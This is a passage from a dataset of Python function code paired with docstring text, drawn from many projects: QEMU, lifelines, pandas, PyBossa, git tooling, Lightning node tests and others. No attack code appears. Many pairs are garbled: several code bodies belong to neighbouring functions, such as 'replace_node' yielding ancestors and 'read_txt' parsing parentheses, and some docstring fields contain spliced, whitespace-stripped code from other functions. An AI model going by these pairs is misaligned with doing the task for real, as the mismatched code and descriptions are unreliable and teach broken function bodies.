"nl": "Check is it a pcie devicedriver = self.get_param(\"driver\", \"\")pcie_drivers = [\"e1000e\", \"vhost-vsock-pci\", \"qemu-xhci\", \"vfio-pci\",\"vhost-user-fs-pci\"]return (driver in pcie_drivers or driver.startswith(\"virtio-\"))class QStringDevice(QBaseDevice):"} {"code": "def _fit_cph(features, outcomes, val_data, random_seed, **hyperparams):\n\n from lifelines import CoxPHFitter\n\n data = outcomes.join(features)\n penalizer = hyperparams.get('l2', 1e-3)\n\n return CoxPHFitter(penalizer=penalizer).fit(data,\n duration_col='time',\n event_col='event')\n", "nl": "Fit a linear Cox Proportional Hazards model to a given dataset.Parameters-----------features : pd.DataFrameA pandas dataframe with rows corresponding to individual samples andcolumns as covariates.outcomes : pd.DataFrameA pandas dataframe with columns 'time' and 'event'.val_data : tupleA tuple of the validation dataset features and outcomes of'time' and 'event'.random_seed : intControls the reproducibility of called functions.hyperparams : Optional argumentsOptions include:- 'l2' : float, default=1e-3PenalizerReturns-----------Trained instance of the Cox Proportional Hazards model."} {"code": "def replace_node(self, node_from: _BaseNode, node_to: _BaseNode):\n if self.parent:\n parent = cast(DslContext, self.parent)\n yield from parent.ancestors\n yield parent\n", "nl": "Hook method for replacing associated node to another.@propertydef ancestors(self) -> Iterable['DslContext']:All ancestor DslContexts in parent -> child order."} {"code": "def write(self, obj, data_columns=None, **kwargs):\n pandas_kind = u'series_table'\n table_type = u'appendable_multiseries'\n", "nl": " we are going to write this as a frame table if not isinstance(obj, DataFrame):name = obj.name or 'values'obj = DataFrame({name: obj}, index=obj.index)obj.columns = [name]return super(AppendableSeriesTable, self).write(obj=obj, data_columns=obj.columns.tolist(), **kwargs)def read(self, columns=None, **kwargs):is_multi_index = self.is_multi_indexif columns is not None and is_multi_index:for n in self.levels:if n not in columns:columns.insert(0, n)s = super(AppendableSeriesTable, self).read(columns=columns, **kwargs)if is_multi_index:s.set_index(self.levels, inplace=True)s = s.iloc[:, 0]# remove the default nameif s.name == 'values':s.name = Nonereturn sclass AppendableMultiSeriesTable(AppendableSeriesTable): support the new appendable table formats "} {"code": "def test_authenticated_user_cannot_read_given_draft(self):\n owner = UserFactory.build_batch(2)[1]\n project = ProjectFactory.create(published=False, owner=owner)\n\n assert project.owner.id == self.mock_authenticated.id, project.owner\n assert_not_raises(Exception, ensure_authorized_to, 'read', project)\n\n @with_context\n @patch('pybossa.auth.current_user', new=mock_admin)", "nl": "Test authenticated users cannot read draft projects if are not ownersproject = ProjectFactory.create(published=False)assert project.owner.id != self.mock_authenticated.id, project.ownerassert_raises(Forbidden, ensure_authorized_to, 'read', project)@with_context@patch('pybossa.auth.current_user', new=mock_authenticated)def test_owners_can_read_given_draft(self):Test the owner of a project can read it despite being a draft"} {"code": "def join(self, timeout=None):\n if self._process is not None:\n self._process.join(timeout)\n if not self._process.is_alive():\n self._process = None\n", "nl": "Join the manager process (if it has been spawned)"} {"code": "def iglob(path_glob):\n raise ValueError(msg % path_glob)\n if _CHECK_MISMATCH_SET.search(path_glob):\n msg = \"\"\"invalid glob %r: mismatching set marker '{' or '}'\"\"\"", "nl": "Extended globbing function that supports ** and {opt1,opt2,opt3}.if _CHECK_RECURSIVE_GLOB.search(path_glob):msg = invalid glob %r: recursive glob \"**\" must be used alone"} {"code": "def update_progress(self, text):\n if len(text) > 50:\n text = \"{}...\".format(text[:47])\n self.status_text.setText(text)\n\n @Slot(bool, object, object)", "nl": "Update progress bar status text.Args:text (str): text to be displayed."} {"code": "def problem_type(self):\n return self._feature_columns\n\n @property", "nl": "Types of the problemreturn self._problem_type@propertydef feature_columns(self):Name of the features"} {"code": "def status_git(path, ignore_set, options):\n lines = [l for l in run(('git', 'status', '-s', '-b'), cwd=path)\n if (options.untracked or not l.startswith(b'?'))\n and not l.startswith(b'\n\n lines += [l for l in run(('git', 'branch', '-v'), cwd=path)\n if (b' [ahead ' in l)]\n\n if options.non_tracking:\n lines += [l for l in run(('git', 'for-each-ref',\n '--format=[%(refname:short)]%(upstream)',\n 'refs/heads'), cwd=path)\n if l.endswith(b']')]\n\n if options.stash:\n lines += [l for l in run(('git', 'stash', 'list'), cwd=path)]\n\n discovered_submodules = []\n for l in run(('git', 'submodule', 'status'), cwd=path):\n match = git_submodule.search(l)\n if match:\n discovered_submodules.append(match.group(1))\n\n return lines, discovered_submodules\n", "nl": "Run git status.Returns a 2-element tuple:* Text lines describing the status of the repository.* List of subrepository paths, relative to the repository itself."} {"code": "def __contains__(self, element):\n try:\n return element in self._data\n except TypeError:\n transform = getattr(element, '__as_temporarily_immutable__', None)\n if transform is None:\n raise\n return transform() in self._data\n\n return\n", "nl": "Report whether an element is a member of a set.(Called in response to the expression `element in self'.)"} {"code": "def get_entry_map(dist, group=None):\n return get_distribution(dist).get_entry_info(group, name)\n\n\nclass IMetadataProvider:", "nl": "Return the entry point map for `group`, or the full entry mapreturn get_distribution(dist).get_entry_map(group)def get_entry_info(dist, group, name):Return the EntryPoint object for `group`+`name`, or ``None``"} {"code": "def read_txt(filename):\n tokens = target.split(\" \")\n buffer_stack = [[]]\n for token in tokens:\n if token == \")\":\n buffer = buffer_stack.pop()\n if not buffer_stack:\n raise ValueError(\"Empty buffer stack.\\ntarget: `%s`\\nbuffer: `%s`\" %\n (target, buffer))\n buffer_stack[-1].append(buffer)\n buffer_stack[-1].append(token)\n if token == \"(\":\n buffer_stack.append([])\n if len(buffer_stack) != 1:\n raise ValueError(\"Bad buffer_stack %s for target %s\" %\n (buffer_stack, target))\n return buffer_stack\n\n", "nl": "Read file to list of lines.lines = []with gfile.GFile(filename, \"r\") as txt_file:for line in txt_file:line = line.decode().rstrip()lines.append(line)print(\"Loaded %s lines from %s.\" % (len(lines), filename))return linesdef parse_to_nested_list(target):Parse target to nested lists based on parens."} {"code": "def _forward_box(self, features, proposals):\n box_features = self.box_pooler(features, [x.proposal_boxes for x in proposals])\n box_features = self.box_head(box_features)\n pred_class_logits, pred_proposal_deltas = self.box_predictor(box_features)\n del box_features\n\n outputs = FastRCNNOutputs(\n self.box2box_transform,\n pred_class_logits,\n pred_proposal_deltas,\n proposals,\n self.smooth_l1_beta,\n )\n if self.training:\n return outputs.losses()\n else:\n pred_instances, _ = outputs.inference(\n self.test_score_thresh, self.test_nms_thresh, self.test_detections_per_img\n )\n return pred_instances\n", "nl": "Forward logic of the box prediction branch.Args:features (list[Tensor]): #level input features for box predictionproposals (list[Instances]): the per-image object proposals withtheir matching ground truth.Each has fields \"proposal_boxes\", and \"objectness_logits\",\"gt_classes\", \"gt_boxes\".Returns:In training, a dict of losses.In inference, a list of `Instances`, the predicted instances."} {"code": "def __repr__(self):\n Returns True if the members of the set form a contiguous IP\n address range (with no gaps), False otherwise.\n\n :return: ``True`` if the ``IPSet`` object is contiguous.\n \"\"\"", "nl": ":return: Python statement to create an equivalent objectreturn 'IPSet(%r)' % [str(c) for c in sorted(self._cidrs)]__str__ = __repr__def iscontiguous(self):"} {"code": "def test_callLaterUsesReactorSecondsAsDelayedCallSecondsFactory(self):\n oseconds = reactor.seconds\n reactor.seconds = lambda: 100\n try:\n call = reactor.callLater(5, lambda: None)\n self.assertEqual(call.seconds(), 100)\n finally:\n reactor.seconds = oseconds\n call.cancel()\n\n", "nl": "L{reactor.callLater}should propagate its own seconds factoryto the DelayedCall to use as its own seconds factory."} {"code": "def quote(topic):\n\n marvin_quotes = {\n 'initiating' : (\n \"Life? Don't talk to me about life!\",\n \"Now I've got a headache.\",\n \"This will all end in tears.\",\n ),\n 'depressed' : (\n \"I think you ought to know I'm feeling very depressed.\",\n \"Incredible... it's even worse than I thought it would be.\",\n \"I'd make a suggestion, but you wouldn't listen.\",\n ),\n }\n\n ev3.Sound.speak(random.choice(marvin_quotes[topic])).wait()\n", "nl": "Recite a random Marvin the Paranoid Android quote on the specified topic.See https://en.wikipedia.org/wiki/Marvin_(character)"} {"code": "def addGroupPerm(self, groupname, permissionnode, value=True):\n return self.wrapper.perms.group_set_permission(\n groupname, permissionnode, value)\n", "nl": "Used to add a permission node to a group.:Args::groupname: The name of the permission group.:permissionnode: The permission node to add to the group.The node can be another group! Nested permissions must beenabled (see player api \"hasPermission\").:value: value of the node. normally True to allow thepermission, but can be false to deny the permission. Forinstance, you want a \"badplayer\" group to be denied somecommand that would normally be permitted.:returns: string message indicating the outcome"} {"code": "def AdjustGradients(self, vars_gradients):\n\n Args:\n outfeed: a dict of tensors dequeued from TPU outfeed queue.\n \"\"\"", "nl": "Allow for custom gradient manipulation prior to clipping.tf.logging.info('BaseTask.AdjustGradients')return vars_gradientsdef PostTrainingLoop(self, outfeed=None):Construct the post training loop op."} {"code": "def test_change_password_recovery_email(client, user_info, test_config):\n register_user(client, user_info)\n wrong_password = \"mynewSuperSecret\n new_email = \"sock@example.com\"\n assert wrong_password != user_info[\"password\"]\n assert new_email != user_info[\"email\"]\n\n rv = client.get(url_for(\"user.edit_account\"))\n data = dict(\n csrf_token=csrf_token(rv.data),\n email_required=new_email,\n oldpassword=wrong_password,\n password=\"\",\n confirm=\"\",\n )\n\n with mail.record_messages() as outbox:\n rv = client.post(url_for(\"do.edit_account\"), data=data, follow_redirects=True)\n assert len(outbox) == 0\n\n log_out_current_user(client)\n\n with mail.record_messages() as outbox:\n rv = client.get(url_for(\"user.password_recovery\"))\n rv = client.post(\n url_for(\"user.password_recovery\"),\n data=dict(csrf_token=csrf_token(rv.data), email=new_email, captcha=\"xyzzy\"),\n )\n assert len(outbox) == 0\n rv = client.get(url_for(\"user.password_recovery\"))\n rv = client.post(\n url_for(\"user.password_recovery\"),\n data=dict(\n csrf_token=csrf_token(rv.data),\n email=user_info[\"email\"],\n captcha=\"xyzzy\",\n ),\n )\n assert len(outbox) == 1\n\n", "nl": "The user can change their password recovery email.register_user(client, user_info)new_email = \"sock@example.com\"assert new_email != user_info[\"email\"]rv = client.get(url_for(\"user.edit_account\"))data = dict(csrf_token=csrf_token(rv.data),oldpassword=user_info[\"password\"],password=\"\",confirm=\"\",)if email_validation_is_required():data[\"email_required\"] = new_emailelse:data[\"email_optional\"] = new_emailwith mail.record_messages() as outbox:rv = client.post(url_for(\"do.edit_account\"), data=data, follow_redirects=True)log_out_current_user(client)if email_validation_is_required():message = outbox.pop()# Make sure that password recovery emails go to the former address# if the new one has not yet been confirmed.rv = client.get(url_for(\"user.password_recovery\"))rv = client.post(url_for(\"user.password_recovery\"),data=dict(csrf_token=csrf_token(rv.data), email=new_email, captcha=\"xyzzy\"),)assert len(outbox) == 0rv = client.get(url_for(\"user.password_recovery\"))rv = client.post(url_for(\"user.password_recovery\"),data=dict(csrf_token=csrf_token(rv.data),email=user_info[\"email\"],captcha=\"xyzzy\",),)assert outbox.pop().send_to == {user_info[\"email\"]}# Now click the confirm link.assert message.send_to == {new_email}soup = BeautifulSoup(message.html, \"html.parser\")token = soup.a[\"href\"].split(\"/\")[-1]rv = client.get(url_for(\"user.confirm_email_change\", token=token), follow_redirects=True)else:assert len(outbox) == 0# Verify password recovery email goes to the right place.with mail.record_messages() as outbox:rv = client.get(url_for(\"user.password_recovery\"))rv = client.post(url_for(\"user.password_recovery\"),data=dict(csrf_token=csrf_token(rv.data),email=user_info[\"email\"],captcha=\"xyzzy\",),)assert len(outbox) == 0rv = client.get(url_for(\"user.password_recovery\"))rv = client.post(url_for(\"user.password_recovery\"),data=dict(csrf_token=csrf_token(rv.data), email=new_email, captcha=\"xyzzy\"),)assert outbox.pop().send_to == {new_email}@pytest.mark.parametrize(\"test_config\", [{\"auth\": {\"require_valid_emails\": True}}])def test_password_required_to_change_recovery_email(client, user_info, test_config):Changing the password recovery requires the correct password."} {"code": "def updatePreviouslyDownloaded(self, uids: List[bytes]) -> None:\n\n processed_rows = set()\n rows_to_update = []\n for uid in uids:\n row = self.groups.uid_to_row(uid=uid)\n if row not in processed_rows:\n processed_rows.add(row)\n row_uids = self.groups.row_uids(row)\n logging.debug(\n \"Examining row %s to see if any have not been previously \"\n \"downloaded\",\n row,\n )\n if not self.rapidApp.thumbnailModel.anyFileNotPreviouslyDownloaded(\n uids=row_uids\n ):\n proximity_row = self.groups[row]\n self.groups[row] = proximity_row._replace(new_file=False)\n rows_to_update.append(row)\n logging.debug(\"Row %s will be updated to show it has no new files\")\n\n if rows_to_update:\n for first, last in runs(rows_to_update):\n self.dataChanged.emit(self.index(first, 2), self.index(last, 2))\n\n\nclass TemporalProximityDelegate(QStyledItemDelegate):\n \"\"\"\n", "nl": "Examine Timeline data to see if any Timeline rows should have their column 2formatting updated to reflect that there are no new files to be downloaded inthat particular row:param uids: list of uids that have been manually marked as previouslydownloaded"} {"code": "def test_sentinel_type_different(self):\n self.assertNotEqual(type(self.sentinel_a), type(self.sentinel_b))\n self.assertNotEqual(type(self.sentinel_a), type(self.sentinel_a2))\n self.assertNotEqual(type(self.sentinel_b), type(self.sentinel_b2))\n", "nl": "Test that a sentinel never has the same type as another"} {"code": "def _colormap_plot_beamforming_time(cmaps):\n import matplotlib.pyplot as plt\n import matplotlib.dates as mdates\n\n from obspy import UTCDateTime\n from obspy.signal.array_analysis import array_processing\n\n stime = UTCDateTime(\"20080217110515\")\n etime = UTCDateTime(\"20080217110545\")\n kwargs = dict(\n sll_x=-3.0, slm_x=3.0, sll_y=-3.0, slm_y=3.0, sl_s=0.03,\n win_len=1.0, win_frac=0.05,\n frqlow=1.0, frqhigh=8.0, prewhiten=0,\n semb_thres=-1e9, vel_thres=-1e9, timestamp='mlabday',\n stime=stime, etime=etime\n )\n st = _get_beamforming_example_stream()\n out = array_processing(st, **kwargs)\n labels = ['rel.power', 'abs.power', 'baz', 'slow']\n xlocator = mdates.AutoDateLocator()\n for cmap in cmaps:\n fig = plt.figure()\n for i, lab in enumerate(labels):\n ax = fig.add_subplot(4, 1, i + 1)\n ax.scatter(out[:, 0], out[:, i + 1], c=out[:, 1], alpha=0.6,\n edgecolors='none', cmap=cmap)\n ax.set_ylabel(lab)\n ax.set_xlim(out[0, 0], out[-1, 0])\n ax.set_ylim(out[:, i + 1].min(), out[:, i + 1].max())\n ax.xaxis.set_major_locator(xlocator)\n ax.xaxis.set_major_formatter(mdates.AutoDateFormatter(xlocator))\n fig.suptitle('AGFA skyscraper blasting in Munich %s' % (\n stime.strftime('%Y-%m-%d'), ))\n fig.autofmt_xdate()\n fig.subplots_adjust(left=0.15, top=0.95, right=0.95, bottom=0.2,\n hspace=0)\n plt.show()\n\n", "nl": "Plot for illustrating colormaps: beamforming.:param cmaps: list of :class:`~matplotlib.colors.Colormap`:rtype: None"} {"code": "def _AiNode(node, prefix, nodes):\n if not isinstance(node, nt.ArnoldNode):\n return None\n\n anode = nodes.get(node)\n if anode is None:\n anode = arnold.AiNode(node.ai_name)\n name = \"%s&N%d::%s\" % (prefix, len(nodes), _RN.sub(\"_\", node.name))\n arnold.AiNodeSetStr(anode, \"name\", name)\n nodes[node] = anode\n for input in node.inputs:\n if input.is_linked:\n _anode = _AiNode(input.links[0].from_node, prefix, nodes)\n if _anode is not None:\n arnold.AiNodeLink(_anode, input.identifier, anode)\n continue\n if not input.hide_value:", "nl": "Args:node (ArnoldNode): node.prefix (str): node name prefix.nodes (dict): created nodes {Node: AiNode}.Returns:arnold.AiNode or None"} {"code": "def list_streams(self) -> List[str]:\n self.__check_closed()\n return UtilInternal.sync(self._list_streams(), loop=self.__loop)\n", "nl": "List the streams in StreamManager. Returns a list of their names.:return: List of stream names.:raises: :exc:`~.exceptions.StreamManagerException` and subtypes based on the precise error.:raises: :exc:`asyncio.TimeoutError` if the request times out.:raises: :exc:`ConnectionError` if the client is unable to reconnect to the server."} {"code": "def backup(self):\n go = False\n while True:\n if not go:\n myUploads = self.getSelfUserFeed()\n else:\n myUploads = self.getSelfUserFeed(myUploads.getNextMaxId() if myUploads.getNextMaxId() else None)\n if not os.path.isdir(self.IGDataPath + 'backup/'):\n os.mkdir(self.IGDataPath + 'backup/')\n\n for item in myUploads.getItems():\n dir_name = self.IGDataPath + 'backup/' + self.username + \"-\" + time.strftime('%Y-%m-%d')\n if not os.path.isdir(dir_name):\n os.mkdir(dir_name)\n\n if item.getVideoVersions():\n file_put_contents(\n os.path.join(dir_name, item.getMediaId() + '.mp4'),\n urllib.urlopen(item.getVideoVersions()[0].getUrl()).read()\n )\n else:\n file_put_contents(\n os.path.join(dir_name, item.getMediaId() + '.jpg'),\n urllib.urlopen(item.getImageVersions()[0].getUrl()).read()\n )\n\n go = True\n if not myUploads.getNextMaxId():\n break\n", "nl": "Backups all your uploaded photos :)."} {"code": "def finalize_content(self):\n tree = etree.fromstring(body.encode(self.encoding), PARSER)\n for text in tree.xpath('.//text()[contains(., \"DIDL\")]'):\n item = text.getparent()\n didl_tree = etree.fromstring(item.text)\n if self.external_inner_xml:\n item.text = \"DIDL_REPLACEMENT_{}\".format(len(self.inner_xml))\n self.inner_xml.append(didl_tree)\n else:\n item.text = None\n item.append(didl_tree)\n\n for inner_tree in self.inner_xml:\n for item in inner_tree.xpath('//*[contains(@val, \"DIDL\")]'):\n if self.external_inner_xml:\n didl_tree = etree.fromstring(item.attrib[\"val\"])\n item.attrib[\"val\"] = \"DIDL_REPLACEMENT_{}\".format(\n len(self.inner_xml)\n )\n self.inner_xml.append(didl_tree)\n\n self.body_formatted = etree.tostring(tree, pretty_print=True).decode(\n self.encoding\n )\n", "nl": "Finalize the additonsself.write_closed = Truebody = self.raw_body.decode(self.encoding)self._init_xml(body)self._form_output()def _init_xml(self, body):Parse the present body as xml"} {"code": "def _get_client(self):\n credentials = service_account.Credentials.from_service_account_info(self.service_account_info)\n client = googleapiclient.discovery.build('container', 'v1', credentials=credentials)\n\n return client\n", "nl": "Initialize Google clientConstruct service account credentials using the service account key file"} {"code": "def check_channel(self, remote, require_both=False):\n remote_id = remote.id()\n self_id = self.id()\n peer = None\n for p in self.rpc.listpeers()['peers']:\n if remote.id() == p['id']:\n peer = p\n break\n if not peer:\n self.logger.debug('Peer {} not found in listpeers'.format(remote))\n return False\n\n if len(peer['channels']) < 1:\n self.logger.debug('Peer {} has no channel open with us'.format(remote))\n return False\n\n state = p['channels'][0]['state']\n self.logger.debug(\"Channel {} -> {} state: {}\".format(self_id, remote_id, state))\n\n if state != 'CHANNELD_NORMAL' or not p['connected']:\n self.logger.debug('Channel with peer {} is not in state normal ({}) or peer is not connected ({})'.format(\n remote_id, state, p['connected']))\n return False\n\n scid = p['channels'][0]['short_channel_id']\n\n channels = self.rpc.listchannels(scid)['channels']\n\n if not require_both and len(channels) >= 1:\n return channels[0]['active']\n\n if len(channels) != 2:\n self.logger.debug('Waiting for both channel directions to be announced: 2 != {}'.format(len(channels)))\n return False\n\n return channels[0]['active'] and channels[1]['active']\n", "nl": "Make sure that we have an active channel with remote`require_both` must be False unless the other side supportssending a `channel_announcement` and `channel_update` on`funding_locked`. This doesn't work for eclair for example."} {"code": "def find_subtest_dirs(other_subtests_dirs, bindir, ignore_files=None):\n subtest_dirs = []\n for d in other_subtests_dirs.split():\n subtestdir = os.path.join(bindir, d, \"tests\")\n if not os.path.isdir(subtestdir):\n raise exceptions.TestError(\"Directory %s does not \"\n \"exist\" % subtestdir)\n subtest_dirs += data_dir.SubdirList(subtestdir,\n ignore_files)\n return subtest_dirs\n\n", "nl": "Find directories containing subtests.:param other_subtests_dirs: space separate list of directories:type other_subtests_dirs: string:param bindir: the test's \"binary directory\":type bindir: str:param ignore_files: files/dirs to ignore as possible candidates:type ignore_files: list or None"} {"code": "def test_tractor_cancels_aio(arb_addr):", "nl": "Verify we can cancel a spawned asyncio task gracefully."} {"code": "def preview(point_file):\n raw_points = read_points(point_file)\n\n assert len(raw_points) == 68, \"The landmarks should contain 68 points.\"\n\n head, tail = os.path.split(point_file)\n image_file = tail.split('.')[-2]\n img_jpg = os.path.join(head, image_file + \".jpg\")\n img_png = os.path.join(head, image_file + \".png\")\n if os.path.exists(img_jpg):\n img = cv2.imread(img_jpg)\n else:\n img = cv2.imread(img_png)\n\n if points_are_valid(raw_points, img) is False:\n return None\n\n facebox = get_valid_box(img, raw_points)\n if facebox is None:\n print(\"Using minimal box.\")\n facebox = get_minimal_box(raw_points)\n\n fd.draw_box(img, [facebox], box_color=(0, 255, 0))\n draw_landmark_point(img, raw_points)\n\n face_area = img[facebox[1]:facebox[3],\n facebox[0]: facebox[2]]\n\n width = facebox[2] - facebox[0]\n height = facebox[3] - facebox[1]\n if width != height:\n print('Oops!', width, height)\n if (width != PREVIEW_FACE_SIZE) or (height != PREVIEW_FACE_SIZE):\n face_area = cv2.resize(\n face_area, (PREVIEW_FACE_SIZE, PREVIEW_FACE_SIZE))\n\n width, height = img.shape[:2]\n max_height = 640\n if height > max_height:\n img = cv2.resize(\n img, (max_height, int(width * max_height / height)))\n cv2.imshow(\"preview\", img)\n cv2.imshow(\"face\", face_area)\n\n if cv2.waitKey() == 27:\n exit()\n\n", "nl": "Preview points on image."} {"code": "def _arrange_tabs(self):\n for tab_name in self._tabs.keys():\n self._tabs.pop(tab_name).destroy()\n\n self._reset_tab_rows()\n if not self._tab_names:\n return\n else:\n if self.n_rows is not None and self.n_rows > 0:\n n_rows = self.n_rows\n else:\n n_rows = (len(self._tab_names) - 1) // self.max_tabs_per_row + 1\n expand_tabs = self.expand_tabs or n_rows > 1\n i = 0\n for row_index in xrange(n_rows):\n n_tabs = (len(self._tab_names) - i - 1) // (n_rows - row_index) + 1\n tab_names = self._tab_names[i:i + n_tabs]\n i += n_tabs\n self._add_tab_row(tab_names, expand_tabs)\n\n selected = self._selected_tab\n self.set_selected_tab(None)\n if selected in self._tab_names:\n self.set_selected_tab(selected)\n return\n\n class TabButton(Frame):\n \"\"\"A simple tab-like widget.\"\"\"", "nl": "Arrange the tabs in rows, in the order in which they were added.If n_rows >= 1, this will be the number of rows used. Otherwise thenumber of rows will be calculated according to the number of tabs andmax_tabs_per_row. In this case, the number of rows may change whenadding/removing tabs."} {"code": "def __repr__(self):\n\n\nclass CocoVideo:\n \"\"\"\n", "nl": "return fCocoVidImage"} {"code": "def meth10(self):\n \"\"\"", "nl": "Test double disable# pylint: disable=E1101# no errorprint(self.bla)# pylint: disable=E1101print(self.blu)class ClassLevelMessage(object):shouldn't display to much attributes/not enough methods messages"} {"code": "def snapshot(self, at):\n if self._name_parts.decorator != '':\n raise Exception(\"Cannot use snapshot() on an already decorated table\")\n\n value = Table._convert_decorator_time(at)\n return Table(\"%s@%s\" % (self._full_name, str(value)), context=self._context)\n", "nl": " Return a new Table which is a snapshot of this table at the specified time.Args:at: the time of the snapshot. This can be a Python datetime (absolute) or timedelta(relative to current time). The result must be after the table was created and no morethan seven days in the past. Passing None will get a reference the oldest snapshot.Note that using a datetime will get a snapshot at an absolute point in time, whilea timedelta will provide a varying snapshot; any queries issued against such a Tablewill be done against a snapshot that has an age relative to the execution time of thequery.Returns:A new Table object referencing the snapshot.Raises:An exception if this Table is already decorated, or if the time specified is invalid."} {"code": "def changeBody(self):\n newChoice = self.shuffleButton.getCurrChoice()\n newHead = newChoice[0]\n newSpeciesIndex = ToonDNA.toonSpeciesTypes.index(ToonDNA.getSpecies(newHead))\n newHeadIndex = ToonDNA.toonHeadTypes.index(newHead) - ToonDNA.getHeadStartIndex(ToonDNA.getSpecies(newHead))\n newTorsoIndex = ToonDNA.toonTorsoTypes.index(newChoice[1])\n newLegsIndex = ToonDNA.toonLegTypes.index(newChoice[2])\n\n oldHead = self.toon.style.head\n oldSpeciesIndex = ToonDNA.toonSpeciesTypes.index(ToonDNA.getSpecies(oldHead))\n oldHeadIndex = ToonDNA.toonHeadTypes.index(oldHead) - ToonDNA.getHeadStartIndex(ToonDNA.getSpecies(oldHead))\n oldTorsoIndex = ToonDNA.toonTorsoTypes.index(self.toon.style.torso)\n oldLegsIndex = ToonDNA.toonLegTypes.index(self.toon.style.legs)\n\n self.__swapSpecies(newSpeciesIndex - oldSpeciesIndex)\n self.__swapHead(newHeadIndex - oldHeadIndex)\n self.__swapTorso(newTorsoIndex - oldTorsoIndex)\n self.__swapLegs(newLegsIndex - oldLegsIndex)\n", "nl": "This method is called when we need to display a new body because playerpressed the shuffle button."} {"code": "def transpose(self, axes=None):\n\n if axes is None:\n axes = range(self.ndim-1, -1, -1)\n\n if len(axes) != len(self.shape):\n raise ValueError(\"axes don't match array\")\n\n new_shape = [self.shape[axes[i]] for i in range(len(axes))]\n new_strides = [self.strides[axes[i]] for i in range(len(axes))]\n\n return self._new_with_changes(\n self.base_data, self.offset,\n shape=tuple(new_shape),\n strides=tuple(new_strides))\n\n @property", "nl": "Permute the dimensions of an array.:arg axes: list of ints, optional.By default, reverse the dimensions, otherwise permute the axesaccording to the values given.:returns: :class:`Array` A view of the array with its axes permuted... versionadded:: 2015.2"} {"code": "def LayerTree_releaseSnapshot(self, snapshotId):\n\t\tsubdom_funcs = self.synchronous_command('LayerTree.releaseSnapshot',\n\t\t snapshotId=snapshotId)\n\t\treturn subdom_funcs\n", "nl": "Function path: LayerTree.releaseSnapshotDomain: LayerTreeMethod name: releaseSnapshotParameters:Required arguments:'snapshotId' (type: SnapshotId) -> The id of the layer snapshot.No return value.Description: Releases layer snapshot captured by the back-end."} {"code": "def get_query_fragment(self, data):\n raise NotImplementedError()\n", "nl": "Build the query fragment to use in the ElasticSearch filter & aggregations.Arguments:----------data (Dict): a dictionary mapping the name of filters with the list ofvalues selected for each filter. Typically the `cleaned_data` output ofa valid filter form:e.g. {\"availability\": [\"open\"], \"languages\": [\"en\", \"fr\"]}Returns:--------List[Dict]: a list of dictionaries each mapping the name of a filter with a queryfragment that must be added to the global Elasticsearch query to apply thisfilter. For example:[{\"key\": \"new\",\"fragment\": [{'term': {'is_new': True}}]}]To be implemented in each actual FilterDefintion class."} {"code": "def get_test_set(self):\n of all the images. \"\"\"", "nl": " Return the test set (the same for each inc. batch). scen = self.scenariorun = self.runtest_idx_list = self.LUP[scen][run][-1]if self.preload:test_x = np.take(self.x, test_idx_list, axis=0).astype(np.float32)else:# test pathstest_paths = []for idx in test_idx_list:test_paths.append(os.path.join(self.root, self.paths[idx]))# test imgstest_x = self.get_batch_from_paths(test_paths).astype(np.float32)test_y = self.labels[scen][run][-1]test_y = np.asarray(test_y, dtype=np.float32)return test_x, test_ynext = __next__ # python2.x compatibility.@staticmethoddef get_batch_from_paths(paths, compress=False, snap_dir='',on_the_fly=True, verbose=False): Given a number of abs. paths it returns the numpy array"} {"code": "def load_data(self):\n self.verbose(\"Build model\")\n\n self.model = Tacotron(**self.config['model']['tacotron']).to(device=self.device)\n self.criterion = torch.nn.L1Loss()\n\n _config = self.config['model']\n lr = _config['optimizer']['lr']\n optim_type = _config['optimizer'].pop('type', 'Adam')\n self.optim = getattr(torch.optim, optim_type)\n self.optim = self.optim(self.model.parameters(), **_config['optimizer'])\n if self.checkpoint_path is not None:\n self.load_ckpt()\n", "nl": "Load data for train and validationself.verbose(\"Load data\")_config = self.config['solver']# Training datasetself.data_tr = getDataLoader(mode='train',meta_path=_config['meta_path']['train'],data_dir=_config['data_dir'],batch_size=_config['batch_size'],r=self.config['model']['tacotron']['r'],n_jobs=_config['n_jobs'],use_gpu=self.use_gpu)# Validation datasetself.data_va = getDataLoader(mode='test',meta_path=_config['meta_path']['test'],data_dir=_config['data_dir'],batch_size=_config['batch_size'],r=self.config['model']['tacotron']['r'],n_jobs=_config['n_jobs'],use_gpu=self.use_gpu)def build_model(self):Build model"} {"code": "def insert_transaction(self, tx_obj):\n if tx_obj.transaction_id is None:\n tx_obj.digest()\n dat = self._make_message_structure(MsgType.REQUEST_INSERT)\n dat[KeyType.transaction_data] = tx_obj.serialize()\n ast = dict()\n for evt in tx_obj.events:\n if evt.asset is None:\n continue\n asset_digest, content = evt.asset.get_asset_file()\n if content is not None:\n ast[evt.asset.asset_id] = content\n for rtn in tx_obj.relations:\n if rtn.asset is None:\n continue\n asset_digest, content = rtn.asset.get_asset_file()\n if content is not None:\n ast[rtn.asset.asset_id] = content\n dat[KeyType.all_asset_files] = ast\n return self._send_msg(dat)\n", "nl": "Request to insert a legitimate transactionArgs:tx_obj (BBcTransaction): Transaction object to insertReturns:bytes: query_id"} {"code": "def test_basicRequest(self):\n connection = H2Connection()\n connection.requestFactory = DummyHTTPHandler\n _, transport = self.connectAndReceive(\n connection, self.getRequestHeaders, []\n )\n", "nl": "Send request over a TCP connection and confirm that we get back theexpected data in the order and style we expect."} {"code": "def cmd_delservice(self, *args):\n\n nargs = len(args)\n\n if nargs != 1:\n usage(\"delservice: bad argument count\")\n\n name = args[0]\n\n self.node.namesiteDelLocal(name)\n", "nl": "delservice Remove local service and deletes its records"} {"code": "def do_combine_html():\n skip_msg = should_skip(tracer)\n if skip_msg:\n print(skip_msg)\n return None\n\n os.environ[\"COVERAGE_TEST_TRACER\"] = tracer\n if os.environ.get(\"COVERAGE_COVERAGE\", \"no\") == \"yes\":\n return run_tests_with_coverage(tracer, *runner_args)\n else:\n return run_tests(tracer, *runner_args)\n\n", "nl": "Combine data from a meta-coverage run, and make the HTML and XML reports.import coverageos.environ['COVERAGE_HOME'] = os.getcwd()os.environ['COVERAGE_METAFILE'] = os.path.abspath(\".metacov\")cov = coverage.Coverage(config_file=\"metacov.ini\")cov.load()cov.combine()cov.save()show_contexts = bool(os.environ.get('COVERAGE_DYNCTX') or os.environ.get('COVERAGE_CONTEXT'))cov.html_report(show_contexts=show_contexts)cov.xml_report()cov.json_report(pretty_print=True)def do_test_with_tracer(tracer, *runner_args):Run tests with a particular tracer."} {"code": "def getDoId(self):\n return self.doId\n", "nl": "getDoId(self)Return the distributed object id"} {"code": "def update(self, stat, update_n_src_words=False):\n self.loss += stat.loss\n self.n_words += stat.n_words\n self.n_correct += stat.n_correct\n\n if update_n_src_words:\n self.n_src_words += 